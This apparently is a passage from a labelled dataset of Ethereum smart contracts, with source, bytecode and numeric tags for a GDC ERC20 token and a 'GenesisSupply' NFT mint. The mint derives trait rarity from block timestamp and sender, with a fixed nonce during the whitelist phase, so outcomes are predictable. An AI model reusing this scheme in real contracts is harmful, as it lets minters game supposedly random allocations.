8cfd558005699ea011fafb73dc1c734e1df37c564736f6c63430008070033 | [
5
] |
0xf34e916534589e915d46e6bc545a1700d9e1b233 | pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract GDCown {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract GDC20b {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract GDC20 is GDC20b {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract GDCbasic is GDC20b {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract GDCstandard is GDC20, GDCbasic {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract GDC is GDCstandard, GDCown {
string public constant name = "Global Digital Currency Network";
string public constant symbol = "GDC";
uint32 public constant decimals = 18;
uint256 public constant tokenSupply = 1000000000*10**18;
constructor() public {
balances[owner] = balances[owner].add(tokenSupply);
totalSupply_ = totalSupply_.add(tokenSupply);
emit Transfer(address(this), owner, tokenSupply);
}
} | 0x6080604052600436106100ca576000357c01000000000000000000000000000000000000000000000000000000009004806306fdde03146100cf578063095ea7b31461015f57806318160ddd146101d257806323b872dd146101fd578063313ce5671461029057806366188463146102c757806370a082311461033a5780637824407f1461039f5780638da5cb5b146103ca57806395d89b4114610421578063a9059cbb146104b1578063d73dd62314610524578063dd62ed3e14610597578063f2fde38b1461061c575b600080fd5b3480156100db57600080fd5b506100e461066d565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610124578082015181840152602081019050610109565b50505050905090810190601f1680156101515780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016b57600080fd5b506101b86004803603604081101561018257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106a6565b604051808215151515815260200191505060405180910390f35b3480156101de57600080fd5b506101e7610798565b6040518082815260200191505060405180910390f35b34801561020957600080fd5b506102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107a2565b604051808215151515815260200191505060405180910390f35b34801561029c57600080fd5b506102a5610b5c565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b3480156102d357600080fd5b50610320600480360360408110156102ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b61565b604051808215151515815260200191505060405180910390f35b34801561034657600080fd5b506103896004803603602081101561035d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610df2565b6040518082815260200191505060405180910390f35b3480156103ab57600080fd5b506103b4610e3a565b6040518082815260200191505060405180910390f35b3480156103d657600080fd5b506103df610e4a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042d57600080fd5b50610436610e70565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561047657808201518184015260208101905061045b565b50505050905090810190601f1680156104a35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104bd57600080fd5b5061050a600480360360408110156104d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ea9565b604051808215151515815260200191505060405180910390f35b34801561053057600080fd5b5061057d6004803603604081101561054757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110c8565b604051808215151515815260200191505060405180910390f35b3480156105a357600080fd5b50610606600480360360408110156105ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112c4565b6040518082815260200191505060405180910390f35b34801561062857600080fd5b5061066b6004803603602081101561063f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061134b565b005b6040805190810160405280601f81526020017f476c6f62616c204469676974616c2043757272656e6379204e6574776f726b0081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107df57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561082c57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108b757600080fd5b610908826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a390919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061099b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bc90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a6c82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c72576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d06565b610c8583826114a390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6b033b2e3c9fd0803ce800000081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f474443000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ee657600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610f3357600080fd5b610f84826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611017826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bc90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061115982600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bc90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113a757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113e357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156114b157fe5b818303905092915050565b600081830190508281101515156114cf57fe5b8090509291505056fea165627a7a72305820a4e00c0685fcb197529dc2a4ff3da0bc01f223373ad743f0daa60c069983f0fe0029 | [
38
] |
0xF34eFCd569f41c0313A87BD19ac34073cAEEE9c2 | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interfaces/State.sol";
contract GenesisSupply is Ownable, State {
enum TokenType {
NONE,
GOD,
DEMI_GOD,
ELEMENTAL
}
enum TokenSubtype {
NONE,
CREATIVE,
DESTRUCTIVE,
AIR,
EARTH,
ELECTRICITY,
FIRE,
MAGMA,
METAL,
WATER
}
struct TokenTraits {
TokenType tokenType;
TokenSubtype tokenSubtype;
}
/**
* Supply
*/
uint256 public constant MAX_SUPPLY = 1077;
uint256 public constant GODS_MAX_SUPPLY = 51;
uint256 public constant DEMI_GODS_MAX_SUPPLY = 424;
uint256 public constant DEMI_GODS_SUBTYPE_MAX_SUPPLY = 212;
uint256 public constant ELEMENTALS_MAX_SUPPLY = 602;
uint256 public constant ELEMENTALS_MAJOR_SUBTYPE_MAX_SUPPLY = 110;
uint256 public constant ELEMENTALS_MINOR_SUBTYPE_MAX_SUPPLY = 54;
uint256 public constant RESERVED_GODS_MAX_SUPPLY = 6;
/**
* Counters
*/
uint256 private tokenCounter;
uint256 private godsCounter;
uint256 private creativeDemiGodsCounter;
uint256 private destructiveDemiGodsCounter;
uint256 private earthElementalsCounter;
uint256 private waterElementalsCounter;
uint256 private fireElementalsCounter;
uint256 private airElementalsCounter;
uint256 private electricityElementalsCounter;
uint256 private metalElementalsCounter;
uint256 private magmaElementalsCounter;
uint256 private reservedGodsTransfered;
/**
* Minting properties
*/
mapping(uint256 => TokenTraits) private tokenIdToTraits;
/**
* Utils
*/
bool public isRevealed;
address private genesisAddress;
constructor() {
isRevealed = false;
// reserve 6 gods for owner
for (uint256 i = 0; i < RESERVED_GODS_MAX_SUPPLY; i++) {
godsCounter += 1;
tokenCounter += 1;
}
}
/**
* Setters
*/
function setIsRevealed(bool _isRevealed) external isGenesis {
require(mintState == MintState.Maintenance, "Mint not maintenance");
isRevealed = _isRevealed;
}
function setGenesis(address _genesisAddress) external onlyOwner closed {
genesisAddress = _genesisAddress;
}
function setMintState(MintState _mintState) external isGenesis {
require(_mintState > mintState, "State can't go back");
mintState = _mintState;
}
/**
* Getters
*/
/**
* Returns the current index to mint
* @return index current index of the collection
*/
function currentIndex() public view returns (uint256 index) {
return tokenCounter;
}
/**
* Returns the number of reserved gods left with the supply
* @return index current index of reserved gods
* @return supply max supply of reserved gods
*/
function reservedGodsCurrentIndexAndSupply()
public
view
isGenesis
returns (uint256 index, uint256 supply)
{
return (reservedGodsTransfered, RESERVED_GODS_MAX_SUPPLY);
}
/**
* Minting functions
*/
/**
* Mint a token
* @param count the number of item to mint
* @return startIndex index of first mint
* @return endIndex index of last mint
*/
function mint(uint256 count)
public
isGenesis
returns (uint256 startIndex, uint256 endIndex)
{
require(
mintState == MintState.Closed || mintState == MintState.Active,
"Mint not active or closed"
);
require(tokenCounter + count < MAX_SUPPLY + 1, "Not enough supply");
uint256 firstTokenId = tokenCounter;
for (uint256 i = 0; i < count; i++) {
// On closed, we airdrop, we generate randomness with a moving nonce
if (mintState == MintState.Closed) {
tokenIdToTraits[firstTokenId + i] = generateRandomTraits(
generateRandomNumber(tokenCounter)
);
} else {
// During WL we use a fix nonce
tokenIdToTraits[firstTokenId + i] = generateRandomTraits(
generateRandomNumber(0)
);
}
tokenCounter += 1;
}
return (firstTokenId, firstTokenId + count);
}
/**
* Mint reserved gods
* This function needs to be ran BEFORE the mint is opened to avoid
* @param count number of gods to transfer
*/
function mintReservedGods(uint256 count) public isGenesis closed {
uint256 nextIndex = reservedGodsTransfered;
// Here we don't need to increment counter and god supply counter because we already do in the constructor
// to not initialize the counters at 0
for (uint256 i = nextIndex; i < count + nextIndex; i++) {
tokenIdToTraits[i] = TokenTraits(TokenType.GOD, TokenSubtype.NONE);
reservedGodsTransfered += 1;
}
}
/**
* Metadata functions
*/
/**
* @dev Generates a uint256 random number from seed, nonce and transaction block
* @param nonce The nonce to be used for the randomization
* @return randomNumber random number generated
*/
function generateRandomNumber(uint256 nonce)
private
view
returns (uint256 randomNumber)
{
return
uint256(
keccak256(abi.encodePacked(msg.sender, block.timestamp, nonce))
);
}
/**
* Generate and returns the token traits (type & subtype) given a random number.
* Function will adjust supply based on the type and subtypes generated
* @param randomNumber random number provided
* @return tokenTraits randomly picked token traits
*/
function generateRandomTraits(uint256 randomNumber)
private
returns (TokenTraits memory tokenTraits)
{
// GODS
uint256 godsLeft = GODS_MAX_SUPPLY - godsCounter;
// DEMI-GODS
uint256 creativeDemiGodsLeft = DEMI_GODS_SUBTYPE_MAX_SUPPLY -
creativeDemiGodsCounter;
uint256 destructiveDemiGodsLeft = DEMI_GODS_SUBTYPE_MAX_SUPPLY -
destructiveDemiGodsCounter;
uint256 demiGodsLeft = creativeDemiGodsLeft + destructiveDemiGodsLeft;
// ELEMENTALS
uint256 elementalsLeft = ELEMENTALS_MAX_SUPPLY -
earthElementalsCounter -
waterElementalsCounter -
fireElementalsCounter -
airElementalsCounter -
electricityElementalsCounter -
metalElementalsCounter -
magmaElementalsCounter;
uint256 totalCountLeft = godsLeft + demiGodsLeft + elementalsLeft;
// We add 1 to modulos because we use the counts to define the type. If a count is at 0, we ignore it.
// That's why we don't ever want the modulo to return 0.
uint256 randomTypeIndex = (randomNumber % totalCountLeft) + 1;
if (randomTypeIndex <= godsLeft) {
godsCounter += 1;
return TokenTraits(TokenType.GOD, TokenSubtype.NONE);
} else if (randomTypeIndex <= godsLeft + demiGodsLeft) {
uint256 randomSubtypeIndex = (randomNumber % demiGodsLeft) + 1;
if (randomSubtypeIndex <= creativeDemiGodsLeft) {
creativeDemiGodsCounter += 1;
return TokenTraits(TokenType.DEMI_GOD, TokenSubtype.CREATIVE);
} else {
destructiveDemiGodsCounter += 1;
return
TokenTraits(TokenType.DEMI_GOD, TokenSubtype.DESTRUCTIVE);
}
} else {
return generateElementalSubtype(randomNumber);
}
}
function generateElementalSubtype(uint256 randomNumber)
private
returns (TokenTraits memory traits)
{
// ELEMENTALS
uint256 earthElementalsLeft = ELEMENTALS_MAJOR_SUBTYPE_MAX_SUPPLY -
earthElementalsCounter;
uint256 waterElementalsLeft = ELEMENTALS_MAJOR_SUBTYPE_MAX_SUPPLY -
waterElementalsCounter;
uint256 fireElementalsLeft = ELEMENTALS_MAJOR_SUBTYPE_MAX_SUPPLY -
fireElementalsCounter;
uint256 airElementalsLeft = ELEMENTALS_MAJOR_SUBTYPE_MAX_SUPPLY -
airElementalsCounter;
uint256 electricityElementalsLeft = ELEMENTALS_MINOR_SUBTYPE_MAX_SUPPLY -
electricityElementalsCounter;
uint256 metalElementalsLeft = ELEMENTALS_MINOR_SUBTYPE_MAX_SUPPLY -
metalElementalsCounter;
uint256 magmaElementalsLeft = ELEMENTALS_MINOR_SUBTYPE_MAX_SUPPLY -
magmaElementalsCounter;
uint256 elementalsLeft = earthElementalsLeft +
waterElementalsLeft +
fireElementalsLeft +
airElementalsLeft +
electricityElementalsLeft +
metalElementalsLeft +
magmaElementalsLeft;
uint256 randomSubtypeIndex = (randomNumber % elementalsLeft) + 1;
if (randomSubtypeIndex <= earthElementalsLeft) {
earthElementalsCounter += 1;
return TokenTraits(TokenType.ELEMENTAL, TokenSubtype.EARTH);
} else if (
randomSubtypeIndex <= earthElementalsLeft + waterElementalsLeft
) {
waterElementalsCounter += 1;
return TokenTraits(TokenType.ELEMENTAL, TokenSubtype.WATER);
} else if (
randomSubtypeIndex <=
earthElementalsLeft + waterElementalsLeft + fireElementalsLeft
) {
fireElementalsCounter += 1;
return TokenTraits(TokenType.ELEMENTAL, TokenSubtype.FIRE);
} else if (
randomSubtypeIndex <=
earthElementalsLeft +
waterElementalsLeft +
fireElementalsLeft +
airElementalsLeft
) {
airElementalsCounter += 1;
return TokenTraits(TokenType.ELEMENTAL, TokenSubtype.AIR);
} else if (
randomSubtypeIndex <=
earthElementalsLeft +
waterElementalsLeft +
fireElementalsLeft +
airElementalsLeft +
electricityElementalsLeft
) {
electricityElementalsCounter += 1;
return TokenTraits(TokenType.ELEMENTAL, TokenSubtype.ELECTRICITY);
} else if (
randomSubtypeIndex <=
earthElementalsLeft +
waterElementalsLeft +
fireElementalsLeft +
airElementalsLeft +
electricityElementalsLeft +
metalElementalsLeft
) {
metalElementalsCounter += 1;
return TokenTraits(TokenType.ELEMENTAL, TokenSubtype.METAL);
} else {
magmaElementalsCounter += 1;
return TokenTraits(TokenType.ELEMENTAL, TokenSubtype.MAGMA);
}
}
/**
* Returns the metadata of a token
* @param tokenId id of the token
* @return traits metadata of the token
*/
function getMetadataForTokenId(uint256 tokenId)
public
view
validTokenId(tokenId)
returns (TokenTraits memory traits)
{
require(isRevealed, "Not revealed yet");
return tokenIdToTraits[tokenId];
}
/**
* Modifiers
*/
/**
* Modifier that checks for a valid tokenId
* @param tokenId token id
*/
modifier validTokenId(uint256 tokenId) {
require(tokenId < MAX_SUPPLY, "Invalid tokenId");
require(tokenId >= 0, "Invalid tokenId");
_;
}
/**
* Modifier that checks sender is Genesis
*/
modifier isGenesis() {
require(msg.sender == genesisAddress, "Not Genesis");
_;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract State {
enum MintState {
Closed,
Active,
Maintenance,
Finalized
}
MintState public mintState = MintState.Closed;
/**
* Modifier that checks mint state to be closed
*/
modifier closed() {
require(mintState == MintState.Closed, "Mint not closed");
_;
}
/**
* Modifier that checks mint state to be active
*/
modifier active() {
require(mintState == MintState.Active, "Mint not active");
_;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
} | 0x608060405234801561001057600080fd5b50600436106101375760003560e01c80638da5cb5b116100b8578063c426ceb91161007c578063c426ceb91461030d578063ea50e78c1461032b578063eb14b35314610347578063f11cb0af14610363578063f2fde38b1461037f578063f3df656d1461039b57610137565b80638da5cb5b14610264578063a0712d6814610282578063aaeb0747146102b3578063c051e38a146102d1578063c070e4a0146102ef57610137565b8063715018a6116100ff578063715018a6146101d057806376d7079a146101da5780637c7cd713146101f8578063842e05ea146102165780638a5f36f01461023457610137565b806326987b601461013c57806332cb6b0c1461015a57806349a5980a1461017857806354214f69146101945780635f3088ca146101b2575b600080fd5b6101446103ba565b6040516101519190611dfc565b60405180910390f35b6101626103c4565b60405161016f9190611dfc565b60405180910390f35b610192600480360381019061018d9190611977565b6103ca565b005b61019c6104ed565b6040516101a99190611c6b565b60405180910390f35b6101ba610500565b6040516101c79190611dfc565b60405180910390f35b6101d8610505565b005b6101e261058d565b6040516101ef9190611dfc565b60405180910390f35b610200610592565b60405161020d9190611dfc565b60405180910390f35b61021e610598565b60405161022b9190611dfc565b60405180910390f35b61024e600480360381019061024991906119d1565b61059d565b60405161025b9190611de1565b60405180910390f35b61026c610719565b6040516102799190611c50565b60405180910390f35b61029c600480360381019061029791906119d1565b610742565b6040516102aa929190611e17565b60405180910390f35b6102bb610aa5565b6040516102c89190611dfc565b60405180910390f35b6102d9610aaa565b6040516102e69190611c86565b60405180910390f35b6102f7610abd565b6040516103049190611dfc565b60405180910390f35b610315610ac3565b6040516103229190611dfc565b60405180910390f35b610345600480360381019061034091906119d1565b610ac8565b005b610361600480360381019061035c919061194a565b610cd1565b005b61037d600480360381019061037891906119a4565b610e07565b005b6103996004803603810190610394919061194a565b610f39565b005b6103a3611031565b6040516103b1929190611e17565b60405180910390f35b6000600154905090565b61043581565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461045a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161045190611d81565b60405180910390fd5b6002600381111561046e5761046d612098565b5b600060149054906101000a900460ff1660038111156104905761048f612098565b5b146104d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c790611ce1565b60405180910390fd5b80600e60006101000a81548160ff02191690831515021790555050565b600e60009054906101000a900460ff1681565b600681565b61050d6110d1565b73ffffffffffffffffffffffffffffffffffffffff1661052b610719565b73ffffffffffffffffffffffffffffffffffffffff1614610581576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057890611da1565b60405180910390fd5b61058b60006110d9565b565b60d481565b61025a81565b603681565b6105a56118b8565b8161043581106105ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e190611d21565b60405180910390fd5b600081101561062e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062590611d21565b60405180910390fd5b600e60009054906101000a900460ff1661067d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067490611d41565b60405180910390fd5b600d60008481526020019081526020016000206040518060400160405290816000820160009054906101000a900460ff1660038111156106c0576106bf612098565b5b60038111156106d2576106d1612098565b5b81526020016000820160019054906101000a900460ff1660098111156106fb576106fa612098565b5b600981111561070d5761070c612098565b5b81525050915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc90611d81565b60405180910390fd5b600060038111156107e9576107e8612098565b5b600060149054906101000a900460ff16600381111561080b5761080a612098565b5b148061084a57506001600381111561082657610825612098565b5b600060149054906101000a900460ff16600381111561084857610847612098565b5b145b610889576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088090611d01565b60405180910390fd5b60016104356108989190611e51565b836001546108a69190611e51565b106108e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108dd90611ca1565b60405180910390fd5b6000600154905060005b84811015610a8d576000600381111561090c5761090b612098565b5b600060149054906101000a900460ff16600381111561092e5761092d612098565b5b14156109cd5761094761094260015461119d565b6111d4565b600d600083856109579190611e51565b815260200190815260200160002060008201518160000160006101000a81548160ff021916908360038111156109905761098f612098565b5b021790555060208201518160000160016101000a81548160ff021916908360098111156109c0576109bf612098565b5b0217905550905050610a61565b6109df6109da600061119d565b6111d4565b600d600083856109ef9190611e51565b815260200190815260200160002060008201518160000160006101000a81548160ff02191690836003811115610a2857610a27612098565b5b021790555060208201518160000160016101000a81548160ff02191690836009811115610a5857610a57612098565b5b02179055509050505b6001806000828254610a739190611e51565b925050819055508080610a8590611f92565b9150506108f0565b50808482610a9b9190611e51565b9250925050915091565b606e81565b60006